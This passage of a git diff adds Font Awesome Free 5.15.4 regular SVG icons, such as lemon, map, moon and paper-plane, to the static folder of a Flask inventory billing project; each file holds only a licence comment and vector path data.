Management System using Flask/static/font-awesome/svgs/regular/lemon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M484.112 27.889C455.989-.233 416.108-8.057 387.059 8.865 347.604 31.848 223.504-41.111 91.196 91.197-41.277 223.672 31.923 347.472 8.866 387.058c-16.922 29.051-9.1 68.932 19.022 97.054 28.135 28.135 68.011 35.938 97.057 19.021 39.423-22.97 163.557 49.969 295.858-82.329 132.474-132.477 59.273-256.277 82.331-295.861 16.922-29.05 9.1-68.931-19.022-97.054zm-22.405 72.894c-38.8 66.609 45.6 165.635-74.845 286.08-120.44 120.443-219.475 36.048-286.076 74.843-22.679 13.207-64.035-27.241-50.493-50.488 38.8-66.609-45.6-165.635 74.845-286.08C245.573 4.702 344.616 89.086 411.219 50.292c22.73-13.24 64.005 27.288 50.488 50.491zm-169.861 8.736c1.37 10.96-6.404 20.957-17.365 22.327-54.846 6.855-135.779 87.787-142.635 142.635-1.373 10.989-11.399 18.734-22.326 17.365-10.961-1.37-18.735-11.366-17.365-22.326 9.162-73.286 104.167-168.215 177.365-177.365 10.953-1.368 20.956 6.403 22.326 17.364z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/life-ring.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/life-ring.svg new file mode 100644 index 00000000..3a9b1b0d --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/life-ring.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 504c136.967 0 248-111.033 248-248S392.967 8 256 8 8 119.033 8 256s111.033 248 248 248zm-103.398-76.72l53.411-53.411c31.806 13.506 68.128 13.522 99.974 0l53.411 53.411c-63.217 38.319-143.579 38.319-206.796 0zM336 256c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zm91.28 103.398l-53.411-53.411c13.505-31.806 13.522-68.128 0-99.974l53.411-53.411c38.319 63.217 38.319 143.579 0 206.796zM359.397 84.72l-53.411 53.411c-31.806-13.505-68.128-13.522-99.973 0L152.602 84.72c63.217-38.319 143.579-38.319 206.795 0zM84.72 152.602l53.411 53.411c-13.506 31.806-13.522 68.128 0 99.974L84.72 359.398c-38.319-63.217-38.319-143.579 0-206.796z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/lightbulb.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/lightbulb.svg new file mode 100644 index 00000000..9988e7b1 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/lightbulb.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 352 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M176 80c-52.94 0-96 43.06-96 96 0 8.84 7.16 16 16 16s16-7.16 16-16c0-35.3 28.72-64 64-64 8.84 0 16-7.16 16-16s-7.16-16-16-16zM96.06 459.17c0 3.15.93 6.22 2.68 8.84l24.51 36.84c2.97 4.46 7.97 7.14 13.32 7.14h78.85c5.36 0 10.36-2.68 13.32-7.14l24.51-36.84c1.74-2.62 2.67-5.7 2.68-8.84l.05-43.18H96.02l.04 43.18zM176 0C73.72 0 0 82.97 0 176c0 44.37 16.45 84.85 43.56 115.78 16.64 18.99 42.74 58.8 52.42 92.16v.06h48v-.12c-.01-4.77-.72-9.51-2.15-14.07-5.59-17.81-22.82-64.77-62.17-109.67-20.54-23.43-31.52-53.15-31.61-84.14-.2-73.64 59.67-128 127.95-128 70.58 0 128 57.42 128 128 0 30.97-11.24 60.85-31.65 84.14-39.11 44.61-56.42 91.47-62.1 109.46a47.507 47.507 0 0 0-2.22 14.3v.1h48v-.05c9.68-33.37 35.78-73.18 52.42-92.16C335.55 260.85 352 220.37 352 176 352 78.8 273.2 0 176 0z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/list-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/list-alt.svg new file mode 100644 index 00000000..f0b63211 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/list-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v340a6 6 0 0 1-6 6zm-42-92v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm-252 12c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/map.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/map.svg new file mode 100644 index 00000000..9f6e3587 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/map.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M560.02 32c-1.96 0-3.98.37-5.96 1.16L384.01 96H384L212 35.28A64.252 64.252 0 0 0 191.76 32c-6.69 0-13.37 1.05-19.81 3.14L20.12 87.95A32.006 32.006 0 0 0 0 117.66v346.32C0 473.17 7.53 480 15.99 480c1.96 0 3.97-.37 5.96-1.16L192 416l172 60.71a63.98 63.98 0 0 0 40.05.15l151.83-52.81A31.996 31.996 0 0 0 576 394.34V48.02c0-9.19-7.53-16.02-15.98-16.02zM224 90.42l128 45.19v285.97l-128-45.19V90.42zM48 418.05V129.07l128-44.53v286.2l-.64.23L48 418.05zm480-35.13l-128 44.53V141.26l.64-.24L528 93.95v288.97z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh-blank.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh-blank.svg new file mode 100644 index 00000000..0ebe316c --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh-blank.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh-rolling-eyes.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh-rolling-eyes.svg new file mode 100644 index 00000000..4de3c675 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh-rolling-eyes.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm88-304c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm0 112c-22.1 0-40-17.9-40-40 0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40zm-104-40c0-39.8-32.2-72-72-72s-72 32.2-72 72 32.2 72 72 72 72-32.2 72-72zm-112 0c0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40s-40-17.9-40-40zm192 128H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh.svg new file mode 100644 index 00000000..798edd4b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/meh.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm8 144H160c-13.2 0-24 10.8-24 24s10.8 24 24 24h176c13.2 0 24-10.8 24-24s-10.8-24-24-24z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/minus-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/minus-square.svg new file mode 100644 index 00000000..bf38eb2b --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/minus-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M108 284c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h232c6.6 0 12 5.4 12 12v32c0 6.6-5.4 12-12 12H108zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/money-bill-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/money-bill-alt.svg new file mode 100644 index 00000000..77a13921 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/money-bill-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M320 144c-53.02 0-96 50.14-96 112 0 61.85 42.98 112 96 112 53 0 96-50.13 96-112 0-61.86-42.98-112-96-112zm40 168c0 4.42-3.58 8-8 8h-64c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h16v-55.44l-.47.31a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09l15.33-10.22a23.99 23.99 0 0 1 13.31-4.03H328c4.42 0 8 3.58 8 8v88h16c4.42 0 8 3.58 8 8v16zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zm-16 272c-35.35 0-64 28.65-64 64H112c0-35.35-28.65-64-64-64V176c35.35 0 64-28.65 64-64h416c0 35.35 28.65 64 64 64v160z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/moon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/moon.svg new file mode 100644 index 00000000..0063a4a4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/moon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M279.135 512c78.756 0 150.982-35.804 198.844-94.775 28.27-34.831-2.558-85.722-46.249-77.401-82.348 15.683-158.272-47.268-158.272-130.792 0-48.424 26.06-92.292 67.434-115.836 38.745-22.05 28.999-80.788-15.022-88.919A257.936 257.936 0 0 0 279.135 0c-141.36 0-256 114.575-256 256 0 141.36 114.576 256 256 256zm0-464c12.985 0 25.689 1.201 38.016 3.478-54.76 31.163-91.693 90.042-91.693 157.554 0 113.848 103.641 199.2 215.252 177.944C402.574 433.964 344.366 464 279.135 464c-114.875 0-208-93.125-208-208s93.125-208 208-208z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/newspaper.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/newspaper.svg new file mode 100644 index 00000000..da05f3ce --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/newspaper.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v96c0 6.627 5.373 12 12 12zm28-80h80v40h-80v-40zm-40 140v-24c0-6.627 5.373-12 12-12h136c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H172c-6.627 0-12-5.373-12-12zm192 0v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0-144v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0 72v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/object-group.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/object-group.svg new file mode 100644 index 00000000..bf7858b4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/object-group.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M500 128c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v256H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V128h12zm-52-64h32v32h-32V64zM32 64h32v32H32V64zm32 384H32v-32h32v32zm416 0h-32v-32h32v32zm-40-64h-12c-6.627 0-12 5.373-12 12v12H96v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h12v256zm-36-192h-84v-52c0-6.628-5.373-12-12-12H108c-6.627 0-12 5.372-12 12v168c0 6.628 5.373 12 12 12h84v52c0 6.628 5.373 12 12 12h200c6.627 0 12-5.372 12-12V204c0-6.628-5.373-12-12-12zm-268-24h144v112H136V168zm240 176H232v-24h76c6.627 0 12-5.372 12-12v-76h56v112z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/object-ungroup.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/object-ungroup.svg new file mode 100644 index 00000000..5f4d9ba0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/object-ungroup.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M564 224c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12h-88v-24h12c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v160H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h88v24h-12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V224h12zM352 64h32v32h-32V64zm0 256h32v32h-32v-32zM64 352H32v-32h32v32zm0-256H32V64h32v32zm32 216v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h12v160h-12c-6.627 0-12 5.373-12 12v12H96zm128 136h-32v-32h32v32zm280-64h-12c-6.627 0-12 5.373-12 12v12H256v-12c0-6.627-5.373-12-12-12h-12v-24h88v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12v-88h88v12c0 6.627 5.373 12 12 12h12v160zm40 64h-32v-32h32v32zm0-256h-32v-32h32v32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/paper-plane.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/paper-plane.svg new file mode 100644 index 00000000..b3260617 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/paper-plane.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M440 6.5L24 246.4c-34.4 19.9-31.1 70.8 5.7 85.9L144 379.6V464c0 46.4 59.2 65.5 86.6 28.6l43.8-59.1 111.9 46.2c5.9 2.4 12.1 3.6 18.3 3.6 8.2 0 16.3-2.1 23.6-6.2 12.8-7.2 21.6-20 23.9-34.5l59.4-387.2c6.1-40.1-36.9-68.8-71.5-48.9zM192 464v-64.6l36.6 15.1L192 464zm212.6-28.7l-153.8-63.5L391 169.5c10.7-15.5-9.5-33.5-23.7-21.2L155.8 332.6 48 288 464 48l-59.4 387.3z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/pause-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/pause-circle.svg new file mode 100644 index 00000000..38439118 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/pause-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm96-280v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16zm-112 0v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/play-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/play-circle.svg new file mode 100644 index 00000000..778c5fa8 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/play-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/plus-square.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/plus-square.svg new file mode 100644 index 00000000..7ccd21f0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/plus-square.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M352 240v32c0 6.6-5.4 12-12 12h-88v88c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-88h-88c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h88v-88c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v88h88c6.6 0 12 5.4 12 12zm96-160v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/question-circle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/question-circle.svg new file mode 100644 index 00000000..3355ec30 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/question-circle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm107.244-255.2c0 67.052-72.421 68.084-72.421 92.863V300c0 6.627-5.373 12-12 12h-45.647c-6.627 0-12-5.373-12-12v-8.659c0-35.745 27.1-50.034 47.579-61.516 17.561-9.845 28.324-16.541 28.324-29.579 0-17.246-21.999-28.693-39.784-28.693-23.189 0-33.894 10.977-48.942 29.969-4.057 5.12-11.46 6.071-16.666 2.124l-27.824-21.098c-5.107-3.872-6.251-11.066-2.644-16.363C184.846 131.491 214.94 112 261.794 112c49.071 0 101.45 38.304 101.45 88.8zM298 368c0 23.159-18.841 42-42 42s-42-18.841-42-42 18.841-42 42-42 42 18.841 42 42z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/registered.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/registered.svg new file mode 100644 index 00000000..e0600811 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/registered.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm110.442-81.791c-53.046-96.284-50.25-91.468-53.271-96.085 24.267-13.879 39.482-41.563 39.482-73.176 0-52.503-30.247-85.252-101.498-85.252h-78.667c-6.617 0-12 5.383-12 12V380c0 6.617 5.383 12 12 12h38.568c6.617 0 12-5.383 12-12v-83.663h31.958l47.515 89.303a11.98 11.98 0 0 0 10.593 6.36h42.81c9.14 0 14.914-9.799 10.51-17.791zM256.933 239.906h-33.875v-64.14h27.377c32.417 0 38.929 12.133 38.929 31.709-.001 20.913-11.518 32.431-32.431 32.431z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sad-cry.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sad-cry.svg new file mode 100644 index 00000000..10edb702 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/regular/sad-cry.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" 